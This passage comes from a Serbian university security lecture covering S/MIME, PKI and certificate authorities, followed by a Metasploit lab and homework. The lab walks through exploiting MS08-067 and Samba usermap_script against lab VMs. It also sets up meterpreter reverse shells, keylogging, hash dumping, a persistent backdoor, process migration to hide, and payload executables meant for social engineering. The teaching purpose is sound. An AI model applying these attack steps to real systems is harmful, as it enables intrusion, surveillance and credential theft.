niz formata sadraja, koji standardizuju reprezentacije za podrku
multimedijalne e-pote.

S/MIME je definisana kao skup dodatnih MIME tipova sadraja, i prua

mogunost da potpisivanja i/ili ifrovanja poruke e-pote. S/MIME
podrka je sada ukljuena u mnoge moderne agente e-pote.

ETIRI NOVE FUNKCIJE

S/MIME tipovi sadraja podravaju etiri nove funkcije.
S/MIME tipovi sadraja podravaju etiri nove funkcije:
Kovertiranje podataka (engl. Enveloped data): Sastoji se od
ifrovanja sadraja bilo kojeg tipa i ifrovanja-sadraja kljueva
ifrovanja za jednog ili vie primaoca.
Potpis podataka: Digitalni potpis se formira izraunavanjem
izvoda poruke na osnovu sadraja koji e biti potpisan, a zatim se
ifruje privatnim kljuem potpisnika. Sadraj plus potpis se onda
ifriruju korienjem base64 ifrovanja. Potpisanu poruku podataka
moe pregledati samo primaoca sa S / MIME mogunostima.
Jasan-potpis podataka (engl. Clear-signed data): Kao i kod
potpisanih podataka, formiran je digitalni potpis. Meutim, u ovom
sluaju, samo digitalni potpis je kodiran korienjem base64.
Rezultat toga je da primalac bez S/MIME mogunosti moe videti
sadraj poruke, mada se ne moe verifikovati potpis.
Potpis i kovertiranje podataka: Samo potpis i samo ifrovanje
entiteta moe biti ugnijeeno, tako da ifrovani podaci mogu biti
potpisani, i potpisani podaci ili jasno potpisani podaci mogu biti
ifrovani.

TIPIAN PRIMER UPOTREBE

Tipian primer upotrebe S/MIME protokola.
Na Slici 1 je prikazan tipian primer upotrebe S/MIME protokola.

27

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

Slika 6.2.1 S/MIME

S/MIME KRIPTOGRAFSKI ALGORITMI

Podrazumevani algoritmi koji se koriste su DSS i SHA-1.
Podrazumevani algoritmi koji se koriste za potpisivanje S/MIME poruka su
standard za digitalni potpis (DSS) i bezbednosni hash algoritam, revizija
1 (SHA-1). Uzmite poruku koju elite da poaljete i korienjem SHA-1
algoritma kreirajte 160 bitni izvod poruke.
Tada S/MIME ifruje izvod pomou DSS i privatni DSS klju poiljaoca.
Rezultat je digitalni potpis, koji je u prilogu poruke. Svako ko dobije
ovu poruku moe ponovo izraunati izvod poruke, a zatim deifrovati
potpis korienjem DSS i javnog DSS kljua poiljaoca. Ako izvod poruke
u potpisu odgovara izraunatom izvodu poruke, onda je potpis valjan.
Budui da ova operacija ukljuuje samo ifrovanje i deifrovanje
160-bitnog bloka, potrebno je malo vremena za verifikaciju poruke. Da
bi se zatitili podaci, poruka se preslikava u ASCII znakove koji se mogu
tampati korienjem eme poznate kao radix-64 ili base/64 mapping.
Kao alternativa, moe se koristi RSA algoritam za ifrovanje javnim
kljuem sa ili SHA-1 ili MD5 algoritmom za izvod poruke za formiranje
potpisa. Podrazumevani algoritmi koji se koriste za ifrovanje S/MIME
poruka su trostruki DES (3DES) i algoritam ElGamal, koja se zasniva na
Diffie-Hellman algoritmu za razmenu javnog kljua.

28

Poglavlje 6: Bezbedni sistem elektronske pote, PGP i S-MIME

S/MIME SERTIFIKATI JAVNOG KLJUA

S / MIME koristi sertifikate koji su u skladu sa
meunarodnim standardom X.509v3.
Kao to se vidi iz dosadanje diskusije, S / MIME sadri pametan, efikasan
skup funkcija za blokiranje i formate da prui usluge efikasnog ifrovanja
i potpisivanja. Osnovni alat koji omoguava iroko korienje S / MIME
je sertifikat javnog kljua. S / MIME koristi sertifikate koji su u skladu sa
meunarodnim standardom X.509v3.

29

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

Poglavlje 7

PKI i Certificate
Authority
PKI
PKI omoguava korisnicima da bezbedno komuniciraju
kroz nesigurnu mreu kao to je internet.
A PKI (eng. Public Key Infrastructure) enables users of a basically
unsecure public network such as the Internet to securely and privately
exchange data and money through the use of a public and a private
cryptographic key pair that is obtained and shared through a trusted
authority. The public key infrastructure provides for a digital certificate
that can identify an individual or an organization and directory services
that can store and, when necessary, revoke the certificates. Although
the components of a PKI are generally understood, a number of different
vendor approaches and services are emerging. Meanwhile, an Internet
standard for PKI is being worked on.
The public key infrastructure assumes the use of public key
cryptography, which is the most common method on the Internet for
authenticating a message sender or encrypting a message. Traditional
cryptography has usually involved the creation and sharing of a secret
key for the encryption and decryption of messages. This secret or private
key system has the significant flaw that if the key is discovered or
intercepted by someone else, messages can easily be decrypted. For
this reason, public key cryptography and the public key infrastructure
is the preferred approach on the Internet. The private key system is
sometimes known as symmetric cryptography and the public key system
as asymmetric cryptography.

PKI INFRASTRUKTURA
Elementi tipine PKI infrastrukture.
Slika 1 prikazuje elemente tipine PKI infrastrukture.

30

Poglavlje 7: PKI i Certificate Authority

Slika 7.1 PKI infrastruktura

CERTIFICATE AUTHORITY
CA predstavlja entitet od poverenja poznat i kao trea
strana od poverenja.
In cryptography, Certificate Authority-CA, is an entity that issues digital
certificates. The digital certificate certifies the ownership of a public
key by the named subject of the certificate. This allows others (relying
parties) to rely upon signatures or assertions made by the private key
that corresponds to the public key that is certified. In this model of
trust relationships, a CA is a trusted third party that is trusted by both
the subject (owner) of the certificate and the party relying upon the
certificate. CAs are characteristic of many Public Key Infrastructure-PKI
schemes.
Commercial CAs charge to issue certificates that will automatically be
trusted by most web browsers (Mozilla maintains a list of at least 36
trusted root CAs, though multiple commercial CAs or their resellers may
share the same trusted root). The number of web browsers and other
devices and applications that trust a particular certificate authority is
referred to as ubiquity.
Aside from commercial CAs, some providers issue digital certificates to
the public at no cost. Large institutions or government entities may have
their own CAs.

31

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

Poglavlje 8

Veba 08
METASPLOIT FRAMEWORK
Msfconsole je verovatno najpopularniji interfejs za MSF
On prua sve-u-jednom centralizovanu konzolu i omoguava efikasan
pristup gotovo svim raspoloivim opcijama u Metasploit Frameworku.
Jedan od problema sa kojima moete da se susretnete uei kako da
koristite MSF jeste da podesite mete za skeniranje i napad. Sreom,
Metasploit tim je bio svestan toga i objavio ranjivu Vmvare virtuelnu
mainu pod nazivom Metasploitable. Ova VM ima veliki broj
bezbednosnih propusta i preinstaliranih paketa.
Slika 1 - Msfconsole pokreemo iz komandne linije, nalazi se u /opt/
framevork/msf3 direktorijumu.

Slika 8.1 Msfconsole

VM e raditi na bilo kojoj novijoj verziji VMware softvera i konfigurisana je

sa privremenim diskom tako da e svaka potencijalna teta na sistemu
biti vraena nakon restarta. Metasploitable moete preuzeti sa
http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
Kada ste preuzeli VM, raspakujte zip datoteku, otvorite VMKS fajl pomou
VMware softvera i zatim pokrenite virtuelnu mainu.

32

Poglavlje 8: Veba 08
Slika 2 - Primer komande help u MSF komandnoj liniji koja prikazuje
listu dostupnih komandi zajedno sa opisom onoga za ta se one koriste.
Slika 8.2 Primer komande
help

SHOW EXPLOITS I SHOW PAYLOADS

Primena komandi show exploits i show payloads
Slika 3 - Primer komande show exploits u MSF komandnoj liniji koja
prikazuje listu dostupnih exploita zajedno sa njihovim rejtingom,
datumom objavljivanja i kratkim opisom. Sve exploite u MSF delimo
u dve kategorije: aktivne i pasivne. Aktivni exploiti e nakon exploita
ciljanog domaina, trajati do zavretka, a zatim e se stopirati. Bruteforce moduli e se stopirati kada se shell otvori kod rtve. Izvravanje
modula e prestati ukoliko se dogodi neka greka. Pasivni exploiti ekaju
nadolazee konekcije i zatim se povezuju. Pasivni exploiti se gotovo uvek
fokusiraju na klijente, kao to su web pretraivai, FTP klijenati, itd.

33

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

Slika 8.3 Primer komande
show exploits

Slika 4 - Primer komande show payloads u MSF komandnoj liniji koja

prikazuje listu dostupnih payloada zajedno sa njihovim rejtingom i
kratkim opisom. Postoje tri razliite vrste payload modula u Metasploitu:
Singles, Stagers, and Stages. Ovi razliiti tipovi omoguavaju veliku
svestranosti i mogu biti korieni u razliitim scenarijima. Singles su
pailoadovi koji su samodovoljni i potpuno samostalni. Single payload
moe biti neto jednostavno kao na primer dodavanje korisnika unutar
ciljnog sistema ili pokretanje calc.exe. Stagers podeavaju mrenu
konekciju izmeu napadaa i rtve, a dizajnirani su tako da budu mali
i pouzdani. Stages su payload komponente koje su preuzete od strane
Stagers modula. Razliite faze obezbeuju razliite funkcije kao to su
Meterpreter , VNC injection, itd.

34

Poglavlje 8: Veba 08
Slika 8.4 Primer komande
show payloads

PROVERA DOSTUPNOSTI
Priveravamo da li je raunar za koji elimo da
iskoristimo ranjivosti dostupan
Slika 5 - U ovom primeru rtva e biti Windows XP SP2 virtuelna maina
sa mrenom adresom 192.168.1.6. Na slici je prikazana ping komanda
Metasploit konfigurisanje napada
Slika 8.5 Ping

Slika 6 Koristiemo:
1. windows/smb/ms08_067_netapi eksploit

35

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

2. payload windows/meterpreter/reverse_tcp
Slika 8.6 Exploit

DODATNE OPCIJE
Komandom show options proveravamo koje sve opcije
moemo koristiti
Slika 7 - Komanda show options nam pomae da konfiguriemo napad.
Na slici vidimo da je potrebno podesiti local i remote host adresu to
postiemo uz pomo komandi set rhost 192.168.1.6 i set lhost
192.168.1.4.
Slika 8.7 Show options

Slika 8 - Lokalnu adresu moemo lako da proitamo korienjem

ifconfig programa, dok u windows os moemo da korisntimo program
ipconfig.

36

Poglavlje 8: Veba 08
Slika 8.8 Ifconfig

METERPRETER
Upotreba meterpretera
Slika 9 - Nakon to smo podesili sve parametre lansiramo napad pomou
komande exploit. Sa slike moemo da vidimo da je operacija uspena
nakon ega nam se otvara Meterpreter komandna linija. Kao to je ve
reeno Meterpreter je napredni payload koji je ukljuen u MSF. Njegova
svrha je da obezbedi kompleksne i napredne funkcije koje bi inae bilo
teko realizovati. Meterpreter i svi njegovi dodaci se u potpunosti
izvravaju iz memorije i zaobilaze disk, ime je omogueno da zaobiu
standardnu Anti-Virus detekciju.
Slika 8.9 Exploit

37

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

Slika 10 - Primer komande help u Meterpreter komandnoj liniji koja
prikazuje listu dostupnih komandi zajedno sa opisom onoga za ta se one
koriste.
Slika 8.10 Help

OPCIJE METERPRETERA
Korisenje mogunosti meterpretera
getuid - prikazuje koji korisniki nalog koristi Meterpreter na udaljenoj
maini idletime prikazuje koliko sekundi korisnik na udaljenoj maini
nije bio aktivan sysinfo - prikazuje osnovne informacije o sistemu,
naziv, OS, arhitekturu, jezik hashdump - prikazuje sadraj SAM baze
podataka.

38

Poglavlje 8: Veba 08
Slika 8.11 Primeri komandi u
Meterpreter komandnoj liniji

Slika 12 - Primer korienja komande migrate u cilju prelaska na novi

proces u radi sakrivanja. Treba odabrati neto to je stalno pokrenuto,
u suprotnom moemo biti odseeni. Pomou ps komande moemo
da izlistamo trenutno aktivne procese. Na ovom primeru preli smo na
proces explorer.exe sa pid 1208.
Slika 8.12 Primer korienja
komande migrate

39

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

KOMANDE METERPRETERA
Korisenje komandi meterpretera
Slika 13 - Pomou komande kill iza koje sledi pid moemo da ugasimo
trenutno aktivan proces. Korienjem komandi uictl disable keyboard/
mouse moemo da ograniimo upotrebu ulaznih ureaja na udaljenoj
maini. Komanda shell nam otvara command prompt.
Odravanje pristupa
Nakon uspeno napada na sistem, ukoliko je mogue, esto je dobra ideja
da se osigura da ete biti u mogunosti da odrite pristup u cilju daljeg
ispitivanja ili probijanja mree.
Slika 8.13 Kill

Slika 14 - Komanda keyscan_start pokree keylogger na udaljenoj

maini, dok nam komanda keyscan_dump prikazuje sadraj koji se
prati od pokretanja keyloggera. Jedan od naina da obezbedimo pristup
udaljenoj maini je korienje Metsvc servisa kao to je prikazano na slici.
Koristei ovaj backdoor, moemo povratiti Meterpreter pristup u bilo kom
trenutku. Binarni korisni teret (engl. binary payload) Jedna od mogunost
MSF-a je da generie izvrnu datoteku iz Metasploit payload-a. Ovo moe
biti veoma korisno za na pr. socijalni inenjering, ako moete da naterate
korisnika za pokrene payload za vas ne postoji razlog da se proe kroz
nevolje eksploatacije softvera. Na sledeem primeru emo generisati
reverse tcp payload, zatim ga pokrenuti na udaljenom sistemu i dobiti
meterpreter komandnu liniju. Da bismo to postigli koristimo komandu
msfpayload. Ova komanda se moe koristiti za generisanje payload-a koji

40

Poglavlje 8: Veba 08
se mogu koristiti na razliitim sistemima i nudi niz izlaznih opcija. Nas
trenutno interesuje exe izlaz, koji se dobija komandom X.
Sila-14 Keyscan_start

METERPRETER KOMANDNA LINIJA

Korienje meterpreter komandne linija
Slika 15 - Generisali smo windows reverse tcp payload, prosledili smo
parametre maine na koju e payload pokuati da se konektuje nakon
to je pokrenut i generisali exe izlaz. Komandom file moemo zaista da
se uverimo da je u pitanju windows executable datoteka. Sada emo
koristiti multi/handler, koji upravlja exploitima pokrenutim van MSF-a.
Potrebno je da podesimo adresu lokalne maine i port koji smo naznaili
pri generisanju payload-a. Zatim koristimo komandu exploit i nakon toga
pokreemo payload na maini rtvi.

41

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

Slika 8.14 Payload

Slika 16 - Nakon to smo sve uspeno podesili i pokrenuli moemo da

vidimo da se otvorila meterpreter komandna linija
Slika 8.15 Handler

42

Poglavlje 9: Domai zadatak 08

Poglavlje 9

Domai zadatak 08
DOMAI ZADATAK 8
Osmi domai zadatak
Za reenje zadatka potrebno je:
1. Metasploit
2. Metasploitable
Zadatak
Preuzmite i instalirajte Metasploit. Preuzmite, raspakujte i pokrenite
Metasploitable2.
Pokrenite Metasploitable2 virtuelnu mainu.
Ulogujte se username: msfadmin, password: msfadmin
Pomou komande ifconfig pronaite adresu virtuelne maine unutar
lokalne mree
Pokrenite metasploit konzolu (msfconsole)
Pokrenite komandu nmap ip_adresa_vm, primetite da je otvoren port
139
-Pokrenite komandu info
informiite se o exploitu

exploit/multi/samba/usermap_script

Zatim
pokrenite
redom
komande:
use
exploit/multi/samba/
usermap_script, set rhost ip_adresa_vm i exploit
Pitanja
ta je Metasploit i koje su njegove mogunosti?
Koje ste sve komande koristili unutar metasploit frameworka i opiite
njihivu namenu?
Ukratko opiite username map script exploit.
ta vam je omoguio ovaj exploit?

43

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

Napomena: Domai zadatak je potrebno uraditi u MS Word (doc) ili
LibreOffice (odf) formatu sa ubaenim sreenshot-ovima i poslati
predmetnom asistentu.
Naziv zadatka treba da bude: IT381-DZ08-ime_prezime_brojIndexa
Subjekat mail-a treba da bude: IT381-DZ08

44

Zakljuak

Zakljuak
ZAKLJUAK
Rezime osme lekcije.
Nakon studiranja sadraja ovog poglavlja, studenti e stei solidna
znanja iz oblasti sigurnosti transportnog i aplikacionog sloja:

Web bezbednost i application layer security

Bezbednost transportnog sloja
Autentifikacija i autorizacija
Simetrina i asimestrina enkripcija
SSL i Kerberos protokol
Bezbedni sistem elektronske pote, PGP i S-MIME
PKI i Certificate authority

45